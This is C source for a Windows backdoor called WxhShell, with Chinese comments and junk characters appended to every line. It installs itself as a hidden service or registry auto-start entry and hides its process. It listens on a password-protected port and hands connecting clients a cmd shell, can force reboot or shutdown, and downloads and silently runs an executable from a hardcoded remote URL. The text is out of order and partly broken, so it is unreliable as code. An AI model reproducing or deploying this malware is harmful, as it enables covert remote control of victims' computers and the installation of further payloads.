    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); %MJ;Q?KB  
    if(Boot(SHUTDOWN)) 2jA%[L9d^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (1){A8=?o  
    else { FT/amCRyT  
    closesocket(wsh); VPd,]]S5(  
    ExitThread(0); CLN+I'uX0  
    } =nVmthGw  
    break; ow.6!tl0=h  
    } 9$ O@`P\  
  // 获取shell tt4+m>/T  
  case 's': { FC}oL"kk  
    CmdShell(wsh); O3%[dR  
    closesocket(wsh); Np)aS[9W  
    ExitThread(0); I]uhi{\C  
    break;  Q2\  
  } 9Nt3Z >d  
  // 退出 VzwPBQ -  
  case 'x': { (ZPXdr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); <k]qH-v4  
    CloseIt(wsh); gb 4pN  
    break; ^M|K;jt>  
    } U:lv^ QPG  
  // 离开 ZBc|438[  
  case 'q': { wUp)JI  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); T9)wj][ .  
    closesocket(wsh); 9?`RR/w  
    WSACleanup(); #Lka+l;L7  
    exit(1); 97!5Q~I  
    break; \6 sQJq  
        } -(;LQDG |  
  } t(?<#KUB-  
  } L11L23:  
WC-_+9)2&  
  // 提示信息 -M61 Mw1  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); kx{!b3"  
} <_:zI r,  
  } |9,UaA  
v>-Y uS  
  return; xncwYOz  
} p4mY0Y]mP  
_#'9kx|)  
// shell模块句柄 3g'+0tEl  
int CmdShell(SOCKET sock) y1,5$0@G  
{ :ba/W&-d  
STARTUPINFO si; ULl_\5s2  
ZeroMemory(&si,sizeof(si)); OM!=ViN(=  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Q}P-$X+/ n  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; "# S>I8d  
PROCESS_INFORMATION ProcessInfo; 1K[(ou'rl  
char cmdline[]="cmd"; a [C&e,)}  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 0I zZKRw  
  return 0; PDC]wZd/  
} 7rIlTrG  
H;I~N*ltJ(  
// 自身启动模式 /`+7_=-  
int StartFromService(void) yJ/#"z=h?  
{ ` clB43 i  
typedef struct 3k{ @.V ?]  
{ M+aEma  
  DWORD ExitStatus; Yx1 D)  
  DWORD PebBaseAddress; )w"0w(   
  DWORD AffinityMask; j>!sN`dBj  
  DWORD BasePriority; AMT slo  
  ULONG UniqueProcessId; yXF|Sqv  
  ULONG InheritedFromUniqueProcessId; ma]? )1<{  
}   PROCESS_BASIC_INFORMATION; (~#G'Hd  
;BI)n]L  
PROCNTQSIP NtQueryInformationProcess; kZ[mM'u#  
(6k>FSpg  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; t!jwY/T  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; F<r4CHfh;  
H#+xKYrp  
  HANDLE             hProcess; Ae3,^  
  PROCESS_BASIC_INFORMATION pbi; a8JN19}D  
kF-TG3  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Hsl{rN  
  if(NULL == hInst ) return 0; Wc;+2Hl[@  
Dh`=ydI5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); EcW1;wH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); W)-hU~^OM  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); @L;C_GEa  
xG%*PNM0q  
  if (!NtQueryInformationProcess) return 0; mP!N<K  
}17bV, t  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); q6&67u0  
  if(!hProcess) return 0; FpdHnu i1  
b *9-}g:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; c[{UI  
{^wdJZ~QLK  
  CloseHandle(hProcess); ~4^p}{  
{!t=n   
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ][t 6VA  
if(hProcess==NULL) return 0; xt))]aH  
wlVvxX3%  
HMODULE hMod; V6+Zh>'S  
char procName[255]; 7j T}{ x  
unsigned long cbNeeded; x@Vt[}e  
#eLN1q&Z  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /e<5Np\X  
K;C_Z/<%  
  CloseHandle(hProcess); p`p?li  
9K$]h2  
if(strstr(procName,"services")) return 1; // 以服务启动 C8MWIX}  
@+t (xCv  
  return 0; // 注册表启动 raHVkE{<  
} I61%H9 ;  
:rL?1"   
// 主模块 GLcd9|H  
int StartWxhshell(LPSTR lpCmdLine) 97]4 :Zv  
{ [` 9^QEj  
  SOCKET wsl; %`oHemSy  
BOOL val=TRUE; p z @km  
  int port=0; j"6:A  
  struct sockaddr_in door; [Q:f-<nH  
EW9b*r7./  
  if(wscfg.ws_autoins) Install(); 0Jg+sUs{  
^Po,(iIn  
port=atoi(lpCmdLine); K=o:V&  
yU!GS-  
if(port<=0) port=wscfg.ws_port; %-r?=L  
D&f!( n  
  WSADATA data; R9r)C{63S&  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x97H(*  
dFMAh&:>  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Y2D >tpqNw  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); _T a}B4;  
  door.sin_family = AF_INET; GVZTDrC  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e3pnk =u  
  door.sin_port = htons(port); `/c@nxh  
N5ci};?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { sy=dY@W^  
closesocket(wsl); lfRH`u  
return 1; V:8@)Hc=  
} v!KJ|c@m  
_1\poAy  
  if(listen(wsl,2) == INVALID_SOCKET) { +8eVj#N  
closesocket(wsl); SlT7L||Ww  
return 1; IE}Sdeqi)  
} _^-D _y  
  Wxhshell(wsl); /wlFD,+8  
  WSACleanup(); lm!F M`m  
n@_)fFD%  
return 0; }9 ?y'6l  
N-xnenci  
} _V&x`ks  
d&?F#$>7|  
// 以NT服务方式启动 wZ O@J|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) lZBv\JE  
{ ,k\/]9  
DWORD   status = 0; sN=KRqe  
  DWORD   specificError = 0xfffffff; A^t"MYX@  
&D^e<j}RQ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; $8=(I2&TW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 5e)i!;7Uv  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; =^#0.  
  serviceStatus.dwWin32ExitCode     = 0; ss*5.(y  
  serviceStatus.dwServiceSpecificExitCode = 0; K(' 9l& A  
  serviceStatus.dwCheckPoint       = 0; ;tm3B2  
  serviceStatus.dwWaitHint       = 0; pA*i!.E/b  
|K6nOX!i  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G$|G w  
  if (hServiceStatusHandle==0) return; v,8Si'"i+  
4I z.fAw  
status = GetLastError(); *Q0lC1GQ  
  if (status!=NO_ERROR) =?^-P{:\?  
{ + 2OZJVJ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3mybG%39  
    serviceStatus.dwCheckPoint       = 0; a!&bc8J7  
    serviceStatus.dwWaitHint       = 0; _@7(g(pY 3  
    serviceStatus.dwWin32ExitCode     = status; 2UQN*_  
    serviceStatus.dwServiceSpecificExitCode = specificError;  GsI[N%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3F;EE:  
    return; 5VuC U  
  } ykJ+%gla  
:J<Owh@  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; SCqu,  
  serviceStatus.dwCheckPoint       = 0; kja4!_d  
  serviceStatus.dwWaitHint       = 0; x-tm[x@;o  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); LE<:.?<Z-  
} \MF3CK@/  
uwmoM>I W^  
// 处理NT服务事件,比如:启动、停止 kBQ5]Q"  
VOID WINAPI NTServiceHandler(DWORD fdwControl) m9 ^m  
{ H^ESA s6  
switch(fdwControl) bN]\K/  
{ d~w}NK[(  
case SERVICE_CONTROL_STOP: "4KkKi  
  serviceStatus.dwWin32ExitCode = 0; Cm99?K  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; v`@5enr  
  serviceStatus.dwCheckPoint   = 0; P)a("XnJ`  
  serviceStatus.dwWaitHint     = 0; ,G/\@x%  
  { MX"A@p~H  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); h<+PP]l=  
  } qn5y D!1  
  return; -bv>iIC  
case SERVICE_CONTROL_PAUSE: b5lk0jA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; xhw8#  
  break; #FrwfJOV  
case SERVICE_CONTROL_CONTINUE: ^vYVl{$bT  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NEjPU#@c  
  break; SH .9!lQv  
case SERVICE_CONTROL_INTERROGATE: 3L'en  
  break; A@9U;8k  
}; AsTMY02|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }|w=7^1z  
} $q4XcIX 7  
oG|?F4l*  
// 标准应用程序主函数 2U-#0,ll]  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 23(B43zy  
{ 2hjre3"?  
AAIyr703cQ  
// 获取操作系统版本 7j9D;_(.^$  
OsIsNt=GetOsVer(); s!8J.hD'I  
GetModuleFileName(NULL,ExeFile,MAX_PATH); [lDt0l5^  
r[C3u[  
  // 从命令行安装 X67C;H+  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~9`^72  
.0 R/'!e  
  // 下载执行文件 l%-67(  
if(wscfg.ws_downexe) { V0SW 5 m  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;o~+2Fir  
  WinExec(wscfg.ws_filenam,SW_HIDE); .{'Uvn  
} rf1wS*uU+  
sRo<4U0M;l  
if(!OsIsNt) { Pj1K  
// 如果时win9x,隐藏进程并且设置为注册表启动 :IP;Frc MP  
HideProc(); DK#65H'  
StartWxhshell(lpCmdLine); 1 $KLMW  
} Z9 ;nC zHm  
else e)ZyTuj  
  if(StartFromService()) AAlmG9l&7  
  // 以服务方式启动 &vJ(P!2f<  
  StartServiceCtrlDispatcher(DispatchTable); c Eh0Vh-]  
else Skr\a\ J  
  // 普通方式启动 ~P"!DaAf  
  StartWxhshell(lpCmdLine); !}Woo$#ND  
]ut-wqb{p  
return 0; LX(iuf+l  
} ul z\x2[Pf  
s= GOB"G  
^2Fs)19R  
(> +k3  
=========================================== :?&WKW  
}v'PY/d.  
R&x7Iq:=D  
x|,aV=$o  
<x>k3bD  
Im' :sJ31  
" 0^)8*O9$  
VFO&)E/-  
#include <stdio.h> H8o%H=I%  
#include <string.h> z6L>!=  
#include <windows.h> Nak'g/uP>  
#include <winsock2.h> SG+i\yu$h0  
#include <winsvc.h> nY"rqILX?  
#include <urlmon.h> 5.C[)`_  
e8P!/x-y  
#pragma comment (lib, "Ws2_32.lib") t7*H8  
#pragma comment (lib, "urlmon.lib") 28UL  
WV !kA_  
#define MAX_USER   100 // 最大客户端连接数 iEJQ#5))0  
#define BUF_SOCK   200 // sock buffer tmY-m,U  
#define KEY_BUFF   255 // 输入 buffer :UJUh/U  
_?(hWC"0  
#define REBOOT     0   // 重启 J.1ln = Y  
#define SHUTDOWN   1   // 关机 wTMHoU*>  
 8H%I|fm  
#define DEF_PORT   5000 // 监听端口 tE9_dR^K  
$E9daUt8"J  
#define REG_LEN     16   // 注册表键长度 -Y jv&5  
#define SVC_LEN     80   // NT服务名长度 hiK[!9r  
L9unhx  
// 从dll定义API !ovZ>,1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Cf1wM:K|8  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M;vlQ"Yl'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5(MZ%-~l  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); eI=Y~jy  
HBga'xJ  
// wxhshell配置信息 zQ6 -2 A  
struct WSCFG { /YugQ.>| l  
  int ws_port;         // 监听端口 Uc4 L|:  
  char ws_passstr[REG_LEN]; // 口令 @#ho(_U8  
  int ws_autoins;       // 安装标记, 1=yes 0=no UN .[,%<s  
  char ws_regname[REG_LEN]; // 注册表键名 !Bd* L~D  
  char ws_svcname[REG_LEN]; // 服务名 ^* /v,+01f  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 LN3dp?;_{  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 1KIq$lG{ E  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 A@  
int ws_downexe;       // 下载执行标记, 1=yes 0=no cT=wJ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'B<qG<>  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hC 4X Y  
ao" ;5 m  
}; k4AE`[UE  
t ]I(98pY  
// default Wxhshell configuration @01D1A  
struct WSCFG wscfg={DEF_PORT, W.6 JnYLQ&  
    "xuhuanlingzhe", a^}P_hg}-  
    1, &F*QYz[  
    "Wxhshell", +D-+}&oW  
    "Wxhshell", w KMk|y>  
            "WxhShell Service", <iprPk  
    "Wrsky Windows CmdShell Service", UG?C=Tf  
    "Please Input Your Password: ", 0) Um W{  
  1, $E_vCB _  
  "http://www.wrsky.com/wxhshell.exe", {7~ $$AR(  
  "Wxhshell.exe" m<'xlF  
    }; \gzwsT2&  
_Il9s#NA%  
// 消息定义模块 ch8w'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ${?exnb$  
char *msg_ws_prompt="\n\r? for help\n\r#>"; v7OV;e a$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; [oN> :  
char *msg_ws_ext="\n\rExit."; [QqNsco)  
char *msg_ws_end="\n\rQuit."; ,JBw$ C  
char *msg_ws_boot="\n\rReboot..."; 1 l*(8!_  
char *msg_ws_poff="\n\rShutdown..."; n ua8y(W  
char *msg_ws_down="\n\rSave to "; Qu>zO!x  
_NqT8C4C  
char *msg_ws_err="\n\rErr!"; i7FR78^  
char *msg_ws_ok="\n\rOK!"; ?*mbce[  
KJJb^6P48W  
char ExeFile[MAX_PATH]; &?Z)V-1H  
int nUser = 0; lgqL)^8A  
HANDLE handles[MAX_USER]; JTB~nd>  
int OsIsNt; eF;1l<<   
dQ|Ht[ s=  
SERVICE_STATUS       serviceStatus; MMr7,?,$  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; v9`B.(Ru  
K2MNaB   
// 函数声明 KeHE\Fq^V  
int Install(void); m"7R 4O  
int Uninstall(void); 7>@/*S{X  
int DownloadFile(char *sURL, SOCKET wsh); A-Pwi.$  
int Boot(int flag); jMWwu+w  
void HideProc(void); K/d &c]  
int GetOsVer(void); fX$4TPy(h  
int Wxhshell(SOCKET wsl); K}/`YDu  
void TalkWithClient(void *cs); GhQ`{iJM  
int CmdShell(SOCKET sock); aq\TO?  
int StartFromService(void); h:;eh  
int StartWxhshell(LPSTR lpCmdLine); [*ovYpj^  
PyxN_agf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); RYJc>  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); m:Cx~  
G/3lX^Z>  
// 数据结构和表定义 ]JPPL4wAT  
SERVICE_TABLE_ENTRY DispatchTable[] = lbU+a$  
{ mf_'| WDs  
{wscfg.ws_svcname, NTServiceMain}, +pViHOJu&V  
{NULL, NULL} (C|V-}/*m  
}; 0Ilvr]1a4  
xWb?i6)z&  
// 自我安装 ]%8;c  
int Install(void) Yn2^nT=8  
{ H08YM P>dc  
  char svExeFile[MAX_PATH]; Pc4c Sw#5  
  HKEY key; J3S+| x h~  
  strcpy(svExeFile,ExeFile); c!wB'~MS#  
VD`2lGdF  
// 如果是win9x系统,修改注册表设为自启动 9}$dwl(  
if(!OsIsNt) { j =%-b]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { rPvX8*) tV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); )^#Zg8L  
  RegCloseKey(key); }eFUw  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { <KPx0g?=b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Riuv@i^6K  
  RegCloseKey(key); 1V$B^/_  
  return 0; VZbIU[5  
    } ;OqLNfU3y  
  } }C`0" 1  
} TEZqAR]G  
else { W%Q>< 'c  
9sU,.T  
// 如果是NT以上系统,安装为系统服务 <!XnUCtV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); A_U0HVx_  
if (schSCManager!=0) Dq 4}VkY  
{ ]=<@G.[=  
  SC_HANDLE schService = CreateService _'dy$.g  
  ( Xb 1^Oj  
  schSCManager, D ,^ U%<`  
  wscfg.ws_svcname, 5g7}A`  
  wscfg.ws_svcdisp, 8@ g D03  
  SERVICE_ALL_ACCESS, 8^i,M^f^{  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , c2:kZxT  
  SERVICE_AUTO_START, =DwH*U /YR  
  SERVICE_ERROR_NORMAL, qZ1PC>  
  svExeFile, HV(*6b@  
  NULL, W\Y 4%y}  
  NULL, &`W,'qD$  
  NULL, {z ~ '  
  NULL, 8GQs9  
  NULL o!0a8i  
  ); vG:,oB}  
  if (schService!=0) <)rH8]V  
  { ?KW?] o  
  CloseServiceHandle(schService); I65GUX#DV  
  CloseServiceHandle(schSCManager); MRu+:Y=K  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); H}rP{`m  
  strcat(svExeFile,wscfg.ws_svcname); sOenR6J<$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { )+R3C%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); m':m`,c!  
  RegCloseKey(key); $7g(-W  
  return 0; ^E*C~;^S  
    } s#49pDN  
  } 1h{_v!X  
  CloseServiceHandle(schSCManager); !\v3bOi&  
} zaPR>:r0  
} 6Z:|"AwC2  
Np_6ZUaqz  
return 1; "<b84?V5  
} m!if_Iq  
B`Pi\1H6%  
// 自我卸载 l>q.BG  
int Uninstall(void) UkQocZdZ  
{ roQIP%h!  
  HKEY key; 5J3kQ;5Q?  
2Z |kf9  
if(!OsIsNt) { /2I("x]  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { _bsfM;u.%  
  RegDeleteValue(key,wscfg.ws_regname); % VZ\4+8S  
  RegCloseKey(key); w"J(sVy4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { n_hD  
  RegDeleteValue(key,wscfg.ws_regname); )I_I?e  
  RegCloseKey(key); >dY"B$A>  
  return 0; qI:wm=  
  } &*~ WK  
} iqYc&}k,  
} G<DUy^$i  
else { L}+!<Ug  
E u   
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); l.! ~t1i  
if (schSCManager!=0) V;=T~K|)>  
{ = %m/  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); g!UM8I-$  
  if (schService!=0) @hv] [(<  
  { L2%P  
  if(DeleteService(schService)!=0) { lQjq6Fl2  
  CloseServiceHandle(schService); |@nXlZE  
  CloseServiceHandle(schSCManager); up?8Pq*  
  return 0; k:.c(_2M  
  } va.wdk g  
  CloseServiceHandle(schService); W` V  
  } oR }  
  CloseServiceHandle(schSCManager); tuSgh!  
} ohl%<FqS  
} s zg1.&  
EUgs2Fsb3  
return 1; ADDpm-]  
} 1C{~!=6#  
s_N!6$tS   
// 从指定url下载文件 \<%a`IA!*  
int DownloadFile(char *sURL, SOCKET wsh) bH&H\ Mx_k  
{ g;pymz  
  HRESULT hr; lbY>R@5  
char seps[]= "/"; ?/~1z*XUW  
char *token; +?p ;,Z%5  
char *file; |(fWT}tg  
char myURL[MAX_PATH]; K+Qg=vGY  
char myFILE[MAX_PATH]; mAMKCxz,  
+qdK]RR}  
strcpy(myURL,sURL); (\T?p9  
  token=strtok(myURL,seps); @`{UiTN X`  
  while(token!=NULL) 0=04:.%D  
  { %K%z<R8  
    file=token; |@ + x9|'W  
  token=strtok(NULL,seps); K;K tx>Z/  
  } $8Zw<aEJ  
.d2s4q\  
GetCurrentDirectory(MAX_PATH,myFILE); 0Z\fK>yw  
strcat(myFILE, "\\"); R~b$7jpd  
strcat(myFILE, file); x>Kem$z  
  send(wsh,myFILE,strlen(myFILE),0); _LK(j;6K}  
send(wsh,"...",3,0); `CV a`%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); n\QG-?%Pi  
  if(hr==S_OK) h1"#DnK7  
return 0; 6Z3v]X  
else h )w<{/p(  
return 1; W[YtNL;  
kmf4ax h1  
} %n( s;/_  
=(o$1v/k  
// 系统电源模块 ?#W>^Za=  
int Boot(int flag) K3jno+U&  
{ (GZm+?  
  HANDLE hToken; niFjsTA.Z  
  TOKEN_PRIVILEGES tkp; sbRg=k&Ns  
DQ,QyV  
  if(OsIsNt) {  Z/64E^  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 6ik6JL$AI  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); A2B&X}K|U  
    tkp.PrivilegeCount = 1; 6A%Y/oU+2  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 3vy5JTCz~  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); {#7t(:x  
if(flag==REBOOT) { hM;EUWv  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 3M^ /   
  return 0; @wpm;]  
} @x)z" )>  
else { Q (`IiV   
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '0[l'Dt'  
  return 0; f1JvP\I0Q  
} fd(>[RP?  
  } Blu^\:?#z-  
  else { Y yI|^f8C  
if(flag==REBOOT) { &fW;;>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) t]Vw` z%G  
  return 0; J?%Z7&/M>  
} nwz}&nR  
else { _I2AJn`#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) ]E`DG  
  return 0;  ;v.l<AOE  
} ZV&=B%J bs  
} ~,ac{%8x  
7^S&g.A  
return 1; Xc'yz 2B  
} $)kIYM&  
~fr1O`8  
// win9x进程隐藏模块 ?onZ:s2  
void HideProc(void) Dtn|$g,  
{ .Yo# vV  
*#~3\{  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); w)hJ0k  
  if ( hKernel != NULL ) o6'`W2P  
  { tk~7>S  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t:W`=^  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .0Cpqn,[  
    FreeLibrary(hKernel); #t9&X8:U  
  } D*heYh  
cJL>,Z<|%  
return; oU67<jq  
} sA:0b5_a  
 8DyE  
// 获取操作系统版本 &EZ28k"x  
int GetOsVer(void) /SSl$  
{ u2o6EU`  
  OSVERSIONINFO winfo; p-M QI }  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Gu9Ap<>!  
  GetVersionEx(&winfo); . [*6W.X  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `[[ A 7  
  return 1; c!E+&5|n  
  else V&[|%jm&   
  return 0; J/WPffqD  
} Z-Zox-I1}-  
b1E>LrL  
// 客户端句柄模块 ^\J/l\n  
int Wxhshell(SOCKET wsl) @>&UoH}2  
{ vxY7/_]  
  SOCKET wsh; |G!-FmIK  
  struct sockaddr_in client; kznmA`#jn  
  DWORD myID; NgQ {'H[Y  
>4b-NS/}0  
  while(nUser<MAX_USER) @/yef3  
{ 6E85mfFS  
  int nSize=sizeof(client); +Z#lf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 02SFFqm  
  if(wsh==INVALID_SOCKET) return 1; d%\en&:la  
6xvyhg#B  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cea%M3  
if(handles[nUser]==0) Sycs u_je  
  closesocket(wsh); j)]mN$Sa:  
else =;`+^  
  nUser++; -}4<P}.5T  
  } _/]4:("  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Si.3Je[q  
IEmtt^C  
  return 0; 1-Sc@WXd  
} XN'x`%!*3#  
P0Z1cN}  
// 关闭 socket o!dTB,Molr  
void CloseIt(SOCKET wsh) ;n?H/(6X8>  
{ 9Qst5n\Z  
closesocket(wsh); 8%@7G*  
nUser--; .r[kNh@ b%  
ExitThread(0); 37Q9goMov  
} dX^OV$  
g!,>.  
// 客户端请求句柄 0L9z[2sj  
void TalkWithClient(void *cs) ` zeZ7:  
{ :U$<h  
nB[Aw7^|A  
  SOCKET wsh=(SOCKET)cs; Xb@lKX5Re  
  char pwd[SVC_LEN]; >j%HVRW  
  char cmd[KEY_BUFF]; /=).)<&|R  
char chr[1]; o4^rE<vJ  
int i,j; 7Y"CeU-S  
s G!SSRL@  
  while (nUser < MAX_USER) { N<}{oIsZ+  
!yI , ~`Z  
if(wscfg.ws_passstr) { p(g0+.?`~  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +] s"*'V$  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #T &z`  
  //ZeroMemory(pwd,KEY_BUFF); n}Pz:  
      i=0; 5xtIez]x?  
  while(i<SVC_LEN) { Z/n\Ak sE  
|]kcgLqj  
  // 设置超时 = Bz yI  
  fd_set FdRead; Yx>y(Whu.  
  struct timeval TimeOut; i"V2=jTeBv  
  FD_ZERO(&FdRead); $iu{u|VSu  
  FD_SET(wsh,&FdRead); }D02*s  
  TimeOut.tv_sec=8; ~<!b}Hv  
  TimeOut.tv_usec=0; E`]lr[  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); wH&[Tg  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2mg4*Ys  
)L fXb9}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1#9qP~#]'{  
  pwd=chr[0]; u2%/</]h  
  if(chr[0]==0xd || chr[0]==0xa) { Wyh   
  pwd=0; [ }-CXB  
  break; hYO UuC  
  } RKB--$ibj  
  i++; #!!Ea'3Iq  
    } QbA+\  
O {u^&V]  
  // 如果是非法用户,关闭 socket 7v\K,P8  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); OT/*|Pn9  
} ,QU2xw D[  
s"G;rcS}#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 94Wf ]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); $w!;~s  
aM/sD=}  
while(1) { iF:`rIC  
H]>b<Cs  
  ZeroMemory(cmd,KEY_BUFF); PgZeDUPP  
U6SgV 8  
      // 自动支持客户端 telnet标准   Q(Uj5aX  
  j=0; an!ceB  
  while(j<KEY_BUFF) { ma9VI5w  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); DSiI%_[Ud  
  cmd[j]=chr[0]; GjF'03Z4  
  if(chr[0]==0xa || chr[0]==0xd) { 3e~X`K1Q<  
  cmd[j]=0; 'U=D6X%V9m  
  break; ~b L^&o(W  
  } haj\Dm  
  j++; M`{x*qR  
    } 1~X~"M  
J*@(rb#G  
  // 下载文件 NY]`1yy  
  if(strstr(cmd,"http://")) { O}VI8OB(&  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]u~6fknm  
  if(DownloadFile(cmd,wsh)) ,":l >0P[  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); nFE0y3GD8  
  else }M%U}k]+@  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8GC(?#Kb  
  } |cZKj|0>  
